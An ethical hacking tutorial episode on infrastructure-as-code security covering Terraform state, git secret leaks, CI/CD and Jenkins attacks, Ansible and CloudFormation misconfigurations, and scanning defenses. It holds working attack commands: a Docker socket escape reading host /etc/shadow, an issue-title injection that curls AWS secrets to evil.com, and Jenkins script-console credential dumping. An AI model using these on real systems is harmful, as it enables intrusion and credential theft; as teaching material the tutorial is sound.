Learn Ethical Hacking (#38) - Infrastructure as Code - Securing the Automation
What will I learn
- What Infrastructure as Code is and why it is both the biggest security improvement and the biggest risk amplifier in modern infrastructure;
- Terraform security -- state file exposure, hardcoded secrets, overly permissive resource configs;
- Ansible misconfigurations -- plaintext vault passwords, dangerous playbook patterns, insecure variable handling;
- CloudFormation and ARM template attacks -- parameter injection, resource policy manipulation;
- CI/CD pipeline attacks -- poisoning the build, stealing secrets from runners, supply chain injection;
- Git repository secrets -- finding credentials in commit history using trufflehog and gitleaks;
- Policy as Code -- using OPA, Checkov, and tfsec to prevent insecure deployments;
- Defense: secret management, pre-commit scanning, pipeline hardening, state file encryption.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- Basic familiarity with git and at least one IaC tool (Terraform, Ansible);
- Understanding of cloud security from episodes 35-36;
- The ambition to learn ethical hacking and security research.
Difficulty
- Intermediate
Curriculum (of the Learn Ethical Hacking series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
- Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP
- Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves
- Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password
- Learn Ethical Hacking (#18) - Server-Side Request Forgery - Making Servers Betray Themselves
- Learn Ethical Hacking (#19) - Insecure Deserialization - Code Execution via Data
- Learn Ethical Hacking (#20) - File Upload Vulnerabilities - When Users Upload Weapons
- Learn Ethical Hacking (#21) - API Security - The New Attack Surface
- Learn Ethical Hacking (#22) - Business Logic Flaws - When the Code Works But the Logic Doesn't
- Learn Ethical Hacking (#23) - Client-Side Attacks - Beyond XSS
- Learn Ethical Hacking (#24) - Content Management Systems - Hacking WordPress and Friends
- Learn Ethical Hacking (#25) - Web Application Firewalls - Bypassing the Guards
- Learn Ethical Hacking (#26) - The Full Web Pentest - Methodology and Reporting
- Learn Ethical Hacking (#27) - Bug Bounty Hunting - Getting Paid to Hack the Web
- Learn Ethical Hacking (#28) - The AI Web Attack Surface - AI Features as Vulnerabilities
- Learn Ethical Hacking (#29) - Network Sniffing - Seeing Everything on the Wire
- Learn Ethical Hacking (#30) - Wireless Network Attacks - Breaking Wi-Fi
- Learn Ethical Hacking (#31) - Privilege Escalation - Linux
- Learn Ethical Hacking (#32) - Privilege Escalation - Windows
- Learn Ethical Hacking (#33) - Active Directory Attacks - The Crown Jewels
- Learn Ethical Hacking (#34) - Pivoting and Lateral Movement - Spreading Through Networks
- Learn Ethical Hacking (#35) - Cloud Security - AWS Attack and Defense
- Learn Ethical Hacking (#36) - Cloud Security - Azure and GCP
- Learn Ethical Hacking (#37) - Container Security - Docker and Kubernetes Attacks
- Learn Ethical Hacking (#38) - Infrastructure as Code - Securing the Automation (this post)
Solutions to Episode 37 Exercises
Exercise 1: Docker socket escape.
# Inside container with docker.sock mounted:
# List host containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool
# Create privileged container mounting host root
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["cat","/hostfs/etc/shadow"],"Binds":["/:/hostfs"]}'
# Start and read output -- host /etc/shadow contents visible
# Fix: remove the docker.sock mount from the container's config
# docker run WITHOUT -v /var/run/docker.sock:/var/run/docker.sock
# Verify: curl to the socket now returns "connection refused"
The attack chain is straightforward: if /var/run/docker.sock is mounted inside a container, you have full control of the Docker daemon on the host. Creating a new container with the host root filesystem mounted at /hostfs gives you read/write access to everything on the host -- /etc/shadow, SSH keys, crontabs, the lot. The fix is equally straightforward: don't mount the socket. For CI/CD pipelines that genuinely need to build images, use Kaniko or Buildah for rootless builds instead.
Exercise 2: Kubernetes RBAC lockdown.
# Overprivileged: default SA with cluster-admin
kubectl auth can-i --list
# Resources: *.* Verbs: * -- everything allowed
# Create restricted ServiceAccount + Role
kubectl create serviceaccount app-reader
kubectl create role configmap-reader \
--verb=get,list --resource=configmaps
kubectl create rolebinding app-reader-binding \
--role=configmap-reader --serviceaccount=default:app-reader
# Verify restrictions
kubectl auth can-i list secrets --as=system:serviceaccount:default:app-reader
# no
kubectl auth can-i list configmaps --as=system:serviceaccount:default:app-reader
# yes
The key insight: binding cluster-admin to the default ServiceAccount means EVERY pod in that namespace runs with full cluster permissions unless it explicitly specifies a different ServiceAccount. The principle of least privilege applies to Kubernetes RBAC exactly the same way it applies to AWS IAM (episode 35) and Azure AD roles (episode 36) -- start with zero permissions, add only what's needed, and always create dedicated ServiceAccounts for each workload instead of relying on the default.
Exercise 3: Trivy scan comparison (abbreviated).
nginx:latest -- 142 vulns (8 critical, 23 high)
nginx:alpine -- 12 vulns (0 critical, 2 high)
nginx:1.25-alpine -- 8 vulns (0 critical, 1 high)
node:latest -- 387 vulns (15 critical, 67 high)
python:latest -- 412 vulns (18 critical, 72 high)
Lesson: Alpine-based images have 90%+ fewer vulnerabilities
than Debian/Ubuntu-based defaults. Always use minimal base images.
The numbers speak for themselves. Alpine images have fewer vulnerabilities because they contain fewer packages -- less installed software means fewer things that can have CVEs. Pinning a specific version on top of Alpine (nginx:1.25-alpine) reduces the count even further because you avoid inheriting vulnerabilities from newer dependencies you don't need. The pattern from episode 37 applies directly: use distroless or Alpine base images, pin versions, scan before deployment.
Learn Ethical Hacking (#38) - Infrastructure as Code - Securing the Automation
Episode 37 covered container security -- Docker socket escapes, privileged container breakouts, Kubernetes RBAC misconfigurations, etcd secrets extraction, and supply chain attacks through malicious base images. You can now escape containers through mounted sockets and privileged mode, exploit overpermissive Kubernetes ServiceAccounts, extract secrets from etcd, and defend with Pod Security Standards, network policies, and image scanning.
But here is what I want you to think about: who deployed those containers? Who configured that Kubernetes cluster? Who set up the RBAC bindings, the network policies, the pod security standards? In most modern organizations, the answer is not "a human clicked through a web console." The answer is code. Terraform files. Ansible playbooks. CloudFormation templates. Kubernetes manifests committed to a git repository and applied by a CI/CD pipeline.
This is Infrastructure as Code (IaC) -- the practice of defining your entire infrastructure in declarative files that are versioned, reviewed, tested, and automatically deployed. And it is simultaneously the biggest security improvement AND the biggest risk amplifier in modern infrastructure. The improvement: infrastructure is versioned, auditable, and repeatable. No more "someone changed a firewall rule three months ago and nobody knows who." The risk: a single misconfigured line in a Terraform file can be applied instantly across hundreds of resources. And that code -- including its secrets -- lives in a git repository that fifty developers have access to.
Here we go.
The Terraform State File -- Your Infrastructure's Crown Jewels
Terraform is the dominant IaC tool for cloud infrastructure. You write .tf files describing what resources you want (EC2 instances, S3 buckets, RDS databases, IAM roles), run terraform apply, and Terraform creates them via the cloud provider's API. Clean, declarative, version-controlled.
The security problem lives in a file you almost never think about: terraform.tfstate. This is Terraform's state file -- it stores the current state of ALL managed infrastructure. And it contains everything. Resource IDs, IP addresses, and critically, every secret value that was passed as a resource argument. Database passwords, API keys, TLS private keys, SSH keys -- all sitting in a JSON file, often in plaintext.
# A terraform.tfstate file might contain:
# - Database passwords passed as resource arguments
# - API keys for cloud providers
# - TLS private keys generated by Terraform
# - SSH keys provisioned to instances
# Search for exposed state files in git history
git log --all --full-history -- "*.tfstate"
git log --all --full-history -- "terraform.tfstate"
# If found:
git show COMMIT_HASH:terraform.tfstate | grep -i "password\|secret\|key"
If an attacker gets the state file, they have the keys to the kingdom -- literally. Every password, every connection string, every private key for every resource Terraform manages. The state file is the ntds.dit of your cloud infrastructure (episode 33 callback: just like Active Directory stores all password hashes in ntds.dit, Terraform stores all secrets in tfstate).
# BAD: hardcoded password in Terraform (appears in state file in plaintext)
resource "aws_db_instance" "main" {
engine = "mysql"
username = "admin"
password = "SuperSecret123!" # This goes straight into tfstate
}
# GOOD: pull from a secret manager
data "aws_secretsmanager_secret_version" "db_password" {
secret_id = "prod/db/password"
}
resource "aws_db_instance" "main" {
engine = "mysql"
username = "admin"
password = data.aws_secretsmanager_secret_version.db_password.secret_string
}
Having said that, even the "good" version has a subtlety that trips people up: Terraform still writes the resolved secret value into the state file. The secret manager approach means the secret is not in your .tf source code (which is good -- it won't be in git), but it IS in the state file after terraform apply runs. This is why the state file itself needs protection -- encryption at rest, restricted access, never committed to git. Remote backends with encryption (S3 + server-side encryption + DynamoDB locking) are the standard pattern:
# Remote state backend with encryption
terraform {
backend "s3" {
bucket = "my-company-tf-state"
key = "prod/terraform.tfstate"
region = "eu-west-1"
encrypt = true
dynamodb_table = "terraform-locks"
}
}
The dynamodb_table provides state locking -- two people running terraform apply simultaneously is a recipe for infrastructure corruption. The encrypt = true uses S3 server-side encryption. Combined with a bucket policy that restricts access to specific IAM roles, this is the minimum acceptable state file configuration. Anything less, and your state file is an exposed credential dump.
Git Repository Secrets -- The Problem That Never Dies
Developers commit secrets to git repositories constantly. AWS access keys, database passwords, private keys, cloud credentials, .env files -- all sitting in commit history, even if the file was later deleted. Remember: git is append-only. Deleting a file creates a new commit that removes it from the current tree, but the original commit with the file still exists in the history. Forever.
# trufflehog -- scans git history for secrets using entropy + patterns
trufflehog git https://github.com/target/repo --only-verified
# gitleaks -- fast regex-based secret scanner
gitleaks detect --source /path/to/repo --verbose
# Manual search for common secret patterns
git log --all -p | grep -i "AKIA\|password\|secret_key\|private_key"
# Search for file types that frequently contain secrets
git log --all --full-history -- "*.env" "*.pem" "*.key" "*.pfx"
git log --all --full-history -- "*credentials*" "*secrets*" "*.tfstate"
trufflehog is particuarly effective because it combines two detection methods. First, entropy analysis -- high-entropy strings (random-looking character sequences) are likely secrets. Second, pattern matching -- AWS keys start with AKIA, GitHub tokens with ghp_, Stripe keys with sk_live_. The combination catches secrets that simple grep would miss.
Real-world examples of why this matters: Uber's 2016 breach started with developers committing AWS keys to a private GitHub repo. An attacker accessed the repo, found the keys, and used them to access S3 buckets containing 57 million user records. The keys had been sitting in the commit history for months. Nobody noticed because nobody was scanning. This is not an isolated case -- it happens constantly, at companies of every size, because the default behavior of developers is to hardcode credentials and commit them.
CI/CD Pipeline Attacks -- Poisoning the Factory
CI/CD pipelines (GitHub Actions, GitLab CI, Jenkins, CircleCI) are high-value targets because they sit at the intersection of code and infrastructure. A pipeline has: credentials for deploying to production, access to secret stores, the ability to modify infrastructure, and often runs with elevated permissions. Compromising the pipeline means you don't need to break into production directly -- you just modify the deployment process, and the automation delivers your payload for you.
# GitHub Actions -- secrets accessible via environment variables
# .github/workflows/deploy.yml
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Deploy
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: |
aws s3 sync ./build s3://production-bucket
The attack vectors against CI/CD are diverse and several of them are genuinely clever:
# 1. Pull Request poisoning (public repos)
# Fork the repo, modify the workflow to exfiltrate secrets
# Submit a PR -- if the workflow runs on PRs from forks with secrets, game over
# 2. Workflow injection via untrusted input
# If a workflow uses ${{ github.event.issue.title }} in a run: block,
# create an issue with title:
# "; curl http://evil.com?k=$AWS_SECRET_ACCESS_KEY #
# The semicolon breaks out of the original command
# 3. Self-hosted runner persistence
# Self-hosted runners persist between jobs (unlike GitHub-hosted)
# A malicious job leaves a backdoor for the next job on the same runner
# Backdoor in ~/.bashrc, crontab, or a modified tool in PATH
# 4. Dependency confusion in CI
# CI installs packages from both internal and public registries
# Register a malicious package on the public registry with the same
# name as an internal package but a higher version number
# pip/npm/cargo resolves the higher version -- your malicious package runs
The workflow injection via ${{ }} expressions is worth highlighting because it's a pattern that even experienced developers miss. GitHub Actions expressions like ${{ github.event.issue.title }} or ${{ github.event.pull_request.title }} are string-interpolated directly into the shell command in a run: block. If an attacker controls that value (by creating an issue or PR with a crafted title), they can inject arbitrary shell commands. The fix is to pass untrusted input through environment variables instead of directly interpolating it:
# VULNERABLE: direct interpolation
- run: echo "Processing: ${{ github.event.issue.title }}"
# SAFE: pass through env variable (shell handles quoting)
- run: echo "Processing: $ISSUE_TITLE"
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
Jenkins -- The Legacy Goldmine
Jenkins deserves its own section because it is still ubiquitous in enterprise environments and it is almost always misconfigured. Jenkins typically runs on port 8080, often with default credentials or no authentication on internal networks. The script console (/script) provides direct Groovy code execution on the Jenkins master, which usually runs as root or a highly privileged service account:
# Jenkins script console -- if accessible, it's game over
curl http://jenkins:8080/script -d 'script=println "id".execute().text'
# uid=0(root) gid=0(root)
# Dump ALL stored credentials
curl http://jenkins:8080/script -d 'script=
com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
jenkins.model.Jenkins.instance
).each { println it.username + ":" + it.password }
'
# Jenkins stores credentials encrypted with a master key
# Master key: /var/lib/jenkins/secrets/master.key
# Credentials XML: /var/lib/jenkins/credentials.xml
# hudson.util.Secret: /var/lib/jenkins/secrets/hudson.util.Secret
# With these three files you can decrypt every stored credential offline
I've lost count of how many pentests I've seen where Jenkins was the initial foothold. Internal network, port 8080, admin/admin or no auth at all, script console gives you root. From there you have every credential that Jenkins uses to deploy to production -- AWS keys, database passwords, SSH keys, Docker registry tokens. The pattern is the same as what we saw with IAM in episode 35: the tool that has access to everything becomes the single point of failure when it's not properly secured ;-)
Ansible Security Issues
Ansible manages server configuration -- installing packages, modifying config files, managing services, deploying applications. It uses YAML playbooks that define the desired state of your servers. The security problems are predictable:
# BAD: plaintext passwords in playbooks
- name: Configure database
mysql_user:
name: admin
password: "SuperSecret123!"
# BAD: passwords in inventory files
# hosts.ini:
# [databases]
# db01 ansible_user=root ansible_password=rootpass
# GOOD: use Ansible Vault
# Encrypt: ansible-vault encrypt_string 'SuperSecret123!' --name 'db_password'
- name: Configure database
mysql_user:
name: admin
password: "{{ db_password }}"
But Ansible Vault has its own trap. You encrypt your secrets with a vault password. Where does the vault password live? If it's in a plaintext file (.vault_pass.txt) committed to the same repository... you've achieved exactly nothing. The secrets are encrypted with a key that sits right next to them. It's the equivalent of locking your front door and leaving the key under the mat.
# The Ansible Vault anti-pattern:
# 1. Encrypt secrets with vault password -- good
# 2. Store vault password in .vault_pass.txt -- bad
# 3. Commit .vault_pass.txt to git -- terrible
# 4. Add .vault_pass.txt to .gitignore -- too late, it's in history
# 5. git rm .vault_pass.txt -- still in history
# Correct approach:
# - Vault password in a secrets manager (HashiCorp Vault, AWS SSM)
# - Or passed via environment variable at runtime
# - Or entered interactively (--ask-vault-pass)
# - NEVER in a file that touches version control
Another Ansible danger: playbooks that disable security controls "temporarily" and never re-enable them. selinux: state=disabled, ufw: state=disabled, sysctl: net.ipv4.ip_forward=1 -- these are the Ansible equivalents of --privileged in Docker (episode 37). They make things work immediately by removing all the safety guardrails, and they stay that way because the playbook never runs the "re-enable security" step.
CloudFormation and ARM Template Attacks
AWS CloudFormation and Azure ARM templates are cloud-native IaC tools -- they define infrastructure in JSON or YAML, specific to their respective cloud platforms. The security issues are similar to Terraform but with cloud-specific wrinkles:
# CloudFormation: hardcoded credentials in Parameters
# with NoEcho: true -- the value is hidden in the AWS console
# but it's still in the template file committed to git
Parameters:
DatabasePassword:
Type: String
NoEcho: true
Default: "ProductionPassword123!"
# The Default value is right here in the template
# CloudFormation: overpermissive IAM role
Resources:
AppRole:
Type: AWS::IAM::Role
Properties:
Policies:
- PolicyName: admin
PolicyDocument:
Statement:
- Effect: Allow
Action: "*"
Resource: "*"
# Full admin -- the same pattern from episode 35
// ARM template: Storage Account with public access
{
"type": "Microsoft.Storage/storageAccounts",
"properties": {
"allowBlobPublicAccess": true,
"minimumTlsVersion": "TLS1_0"
}
}
// Public blob access + TLS 1.0 -- same misconfiguration as episode 36
// but now it's codified and repeatable across every deployment
The critical insight about IaC-specific security issues: misconfigurations in IaC are worse than manual misconfigurations because they replicate. If you manually create one public S3 bucket through the AWS console, you have one problem. If your Terraform module creates a public S3 bucket and it's used across 15 environments... you have 15 problems. And every new deployment creates another one. IaC codifies and amplifies misconfigurations at scale. That's the double-edged sword.
Policy as Code -- Automated Prevention
The defense against IaC misconfigurations is to scan IaC files BEFORE they're applied, using tools that check for known insecure patterns. This is Policy as Code -- defining security requirements as machine-readable rules that are evaluated automatically:
# tfsec -- static analysis for Terraform
tfsec /path/to/terraform/
# Output:
# WARNING: aws_s3_bucket.data does not have encryption enabled
# WARNING: aws_security_group.web allows ingress from 0.0.0.0/0
# ERROR: aws_db_instance.main has hardcoded password
# Checkov -- multi-framework IaC scanner (Terraform, CloudFormation,
# Kubernetes, Dockerfile, ARM, Ansible, Helm)
checkov -d /path/to/terraform/
checkov -f docker-compose.yml
checkov -f Dockerfile
# OPA (Open Policy Agent) -- custom policies in Rego language
# Example policy: deny public S3 buckets
# deny[msg] {
# input.resource.aws_s3_bucket[name].acl == "public-read"
# msg = sprintf("S3 bucket %s must not be public", [name])
# }
The real power comes from integrating these tools into your CI/CD pipeline as mandatory checks. A developer opens a pull request that adds a Terraform resource with a public S3 bucket. The CI pipeline runs tfsec and Checkov. Both flag the public access setting. The PR is blocked until the finding is resolved. The misconfiguration never reaches production because it never passes code review.
# GitHub Actions: IaC security scan in CI
name: IaC Security
on: [pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run tfsec
uses: aquasecurity/tfsec-action@v1.0.0
with:
soft_fail: false
- name: Run Checkov
uses: bridgecrewio/checkov-action@v12
with:
directory: terraform/
soft_fail: false
Pre-Commit Secret Scanning
The best time to catch a secret in git is BEFORE it's committed. Pre-commit hooks run automatically when a developer types git commit and can block the commit if a secret is detected:
# Install pre-commit framework
pip install pre-commit
# .pre-commit-config.yaml
# repos:
# - repo: https://github.com/gitleaks/gitleaks
# rev: v8.18.0
# hooks:
# - id: gitleaks
# - repo: https://github.com/trufflesecurity/trufflehog
# rev: v3.63.0
# hooks:
# - id: trufflehog
# Install hooks
pre-commit install
# Now every git commit runs gitleaks and trufflehog
# If a secret is detected, the commit is blocked
git add config.py # contains AWS_SECRET_ACCESS_KEY="..."
git commit -m "add config"
# gitleaks: BLOCKED -- AWS Secret Access Key detected
Pre-commit hooks are the first line of defense. CI pipeline scanning is the second. Neither is sufficient alone -- developers can bypass pre-commit with --no-verify, and CI only catches secrets after they've been pushed (they're already in the remote history at that point). Defense in depth: pre-commit blocks most accidents, CI catches what slips through, and periodic repository scanning with trufflehog catches historical secrets that predate the hooks.
Defense: Securing the Full IaC Pipeline
Let me pull it all together -- the complete defense checklist for IaC security:
# 1. NEVER store secrets in IaC files or git
# Use: AWS Secrets Manager, Azure Key Vault, HashiCorp Vault, GCP Secret Manager
# Terraform: reference secrets via data sources, never hardcode
# 2. Encrypt and restrict Terraform state
# Remote backend (S3/GCS/Azure Blob) with encryption enabled
# State file access restricted to CI/CD pipeline service account only
# No developer should ever need to read the state file directly
# 3. Pre-commit hooks for secret scanning
# gitleaks + trufflehog as pre-commit hooks
# Block commits containing secrets before they enter history
# 4. IaC scanning in CI (mandatory, blocking)
# tfsec + Checkov as required CI checks
# PRs with security findings cannot be merged
# 5. CI/CD pipeline hardening
# - NEVER run workflows from forks with secrets access
# - Pin GitHub Actions to commit SHA, not tags
# uses: actions/checkout@abc123 (not @v4)
# - Use OIDC for cloud auth (no long-lived keys in CI)
# - Separate build and deploy pipelines with approval gates
# - Use ephemeral runners (not self-hosted with persistent state)
# 6. Ansible Vault passwords in external secret stores
# NEVER in .vault_pass.txt in the repo
# 7. Regular historical scanning of repositories
# trufflehog scans the entire git history, not just current files
# Run monthly against all repositories
# Rotate any secrets found (even if they're in old commits)
# 8. Least privilege for CI/CD service accounts
# The pipeline's cloud credentials should have ONLY the permissions
# needed to deploy. Not AdministratorAccess. Not Contributor.
# Scoped to specific resources in specific environments.
The AI Slop Connection
IaC is where AI-generated code does the most damage because the blast radius is infrastructure-wide. AI assistants generate Terraform with hardcoded secrets because "it's just a demo." They create Ansible playbooks with plaintext passwords because vault configuration is "too complex for a quick example." They suggest 0.0.0.0/0 security groups because "you can restrict it later." They generate IAM policies with "Action": "*" because determining the specific permissions required takes longer than typing one asterisk.
The problem is not that the AI generates working code. The problem is that developers copy the AI's example, forget to fix the security issues, and deploy it to production. The "demo" password becomes the production password. The "temporary" open security group stays open for months. And because this is IaC, the misconfiguration is applied at scale -- not to one resource, but to every resource defined in that Terraform module, across every environment where it's used.
I've seen production Terraform codebases where the database password was literally "password123" because someone copied a tutorial example and never changed it. The Terraform plan output even said password = "password123" in plaintext, and the apply went through without anyone noticing. The state file stored it forever. The security scanner wasn't in the CI pipeline because "we'll add that later."
The Bigger Picture
With episodes 35 through 38, we've covered the modern infrastructure stack from bottom to top. Cloud platforms (episodes 35-36) provide the foundation -- IAM, storage, compute. Containers (episode 37) run the workloads -- Docker isolation, Kubernetes orchestration. And Infrastructure as Code (this episode) defines, deploys, and manages all of it -- Terraform, Ansible, CI/CD pipelines.
The attack surface at each layer is different, but the patterns are the same: overpermissive defaults, hardcoded secrets, complexity that leads to misconfiguration, and the gap between "it works" and "it's secure" that gets wider with every layer of abstraction. And the layers interact -- a Terraform misconfiguration creates an overpermissive IAM role (episode 35), which is attached to a Kubernetes pod (episode 37), which accesses a database whose password is in the Terraform state file (this episode). The attack chains cross every layer.
The upcoming episodes will move into exploitation tools and email security -- because once you understand how infrastructure is attacked and defended, you need the tooling to actually execute assessments at scale. Frameworks like Metasploit systematize what we've been doing manually, and understanding how phishing infrastructure works is essential for both red team operations and defense.
Exercises
Exercise 1: Create a test git repository with a deliberately committed AWS access key (use a revoked key or a fake one like AKIAIOSFODNN7EXAMPLE). Commit the key, then delete it in a later commit. Use trufflehog and gitleaks to detect it. Compare: (a) which tool found it and in which commit, (b) what the output format looks like for each, (c) whether both detect the secret after it was deleted in the later commit. Then set up a pre-commit hook with gitleaks and verify it blocks committing a new secret. Document the full process in ~/lab-notes/git-secret-scanning.md.
Exercise 2: Write a Terraform configuration (no need to apply it -- just the .tf files) that creates an AWS S3 bucket and a security group. Deliberately include 3 security issues: (a) a hardcoded database password in an RDS resource, (b) a public S3 bucket with acl = "public-read", (c) a security group allowing SSH from 0.0.0.0/0. Run tfsec and Checkov against it. Document all findings from both tools, then fix each issue and verify the scanners pass clean. Save your analysis to ~/lab-notes/iac-scanner-comparison.md.
Exercise 3: Research the Codecov supply chain attack (April 2021). Document: (a) how attackers modified the Codecov bash uploader script, (b) what CI/CD secrets were exfiltrated (environment variables from customer CI pipelines), (c) how many companies were affected and which major ones disclosed impact, (d) what detection mechanisms failed and why nobody noticed for two months, (e) what specific defenses would have prevented or detected it (pinned dependencies, script integrity checks, egress filtering, OIDC auth). Save to ~/lab-notes/codecov-analysis.md.